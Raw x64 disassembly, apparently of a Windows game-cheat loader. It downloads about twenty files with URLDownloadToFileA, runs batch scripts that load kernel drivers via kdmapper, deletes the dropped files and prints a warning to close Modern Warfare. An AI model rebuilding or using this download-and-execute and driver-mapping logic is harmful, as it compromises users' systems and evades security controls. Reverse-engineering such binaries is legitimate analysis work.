call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x320]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x340]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x2e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x300]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x2a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x2c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x260]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x280]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x220]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x240]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x200]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x160]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x180]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x120]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x140]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xe0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x100]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xa0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0xc0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x20]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp - 0x60]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp - 0x40]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x11e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp - 0x80]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x17a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x17c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1760]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1780]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1720]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1740]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x16e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1700]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x16a0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x16c0]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x17e0]
call fcn.14000a620
mov rdi, rax
lea rcx, [rbp + 0x1680]
call fcn.14000a620
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD2.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adokdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adodriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adocallbackdriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files__x86_Common_FilesSystem_adoNXTDRIVERLOAD2.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x14007c258]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14007c268]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x14007c278]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x14007c280]
mov word [rsp + 0x78], ax
movzx eax, byte [0x14007c282]
mov byte [rsp + 0x7a], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140021b92
movdqa xmm5, xmmword [0x14007dec0]
movdqa xmm4, xmmword [0x14007df10]
movdqa xmm6, xmmword [0x14007dee0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007def0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007def0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140021a90
cmp eax, 0x2b
jge 0x140021bcc
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
mov eax, 0x5397829d
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, bl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2b
jl 0x140021ba0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a50
lea rdx, [0x14001c680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c240]
lea rcx, [rsp + 0x50]
call fcn.14000a840
mov rcx, rax
call fcn.140022e50
nop
lea rcx, [rbp + 0x17e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1680]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x16a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x16c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x16e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1700]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1720]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1740]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1760]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1780]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x17a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x17c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x11e0]
call fcn.14000a7e0
nop
lea rcx, [rbp - 0x80]
call fcn.14000a7e0
nop
lea rcx, [rbp - 0x60]
call fcn.14000a7e0
nop
lea rcx, [rbp - 0x40]
call fcn.14000a7e0
nop
lea rcx, [rbp - 0x20]
call fcn.14000a7e0
nop
lea rcx, [rbp]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xa0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xc0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xe0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x100]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x120]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x140]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x160]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x180]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x200]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x220]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x240]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x260]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x280]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x2a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x2c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x2e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x300]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x320]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x340]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x360]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x380]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x3a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x3c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x3e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x400]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x420]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x440]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x460]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x480]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x4a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x4c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x4e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x500]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x520]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x540]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x560]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x580]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x5a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x620]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x640]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x660]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x680]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x6a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x6e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x700]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x720]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x740]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x760]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x780]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x7a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x7c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x7e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x800]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x820]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x840]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x860]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x880]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x8a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x8c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x8e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x900]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x920]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x940]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x960]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x980]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x9a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x9c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x9e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xa00]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xa20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xa40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xa60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xa80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xaa0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xac0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xae0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xb00]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xb20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xb40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xb60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xb80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xba0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xbc0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xbe0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xc00]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xc20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xc40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xc60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xc80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xca0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xcc0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xce0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xd00]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xd20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xd40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xd60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xd80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xda0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xdc0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xde0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xe00]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xe20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xe40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xe60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xe80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xea0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xec0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xee0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xf00]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xf20]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xf40]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xf60]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xf80]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xfa0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xfc0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0xfe0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1000]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1020]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1040]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1060]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1080]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x10a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x10c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x10e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1100]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1120]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1140]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1160]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1180]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x11a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x11c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x14e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1200]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1220]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1240]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1260]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1280]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x12a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x12c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x12e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1300]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1320]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1340]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1360]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1380]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x13a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x13c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x13e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1400]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1420]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1440]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1460]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1480]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x14a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x14c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1660]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1500]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1520]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1540]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1560]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1580]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x15a0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x15c0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x15e0]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1600]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1620]
call fcn.14000a7e0
nop
lea rcx, [rbp + 0x1640]
call fcn.14000a7e0
mov rcx, qword [rbp + 0x1800]
xor rcx, rsp
call fcn.140077020
lea r11, [rsp + 0x1920]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
lea rdx, str.___Close_Modern_Warfare_Before_You_Load_The_Driver
call fcn.140019a50
lea rdx, [0x14001c680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3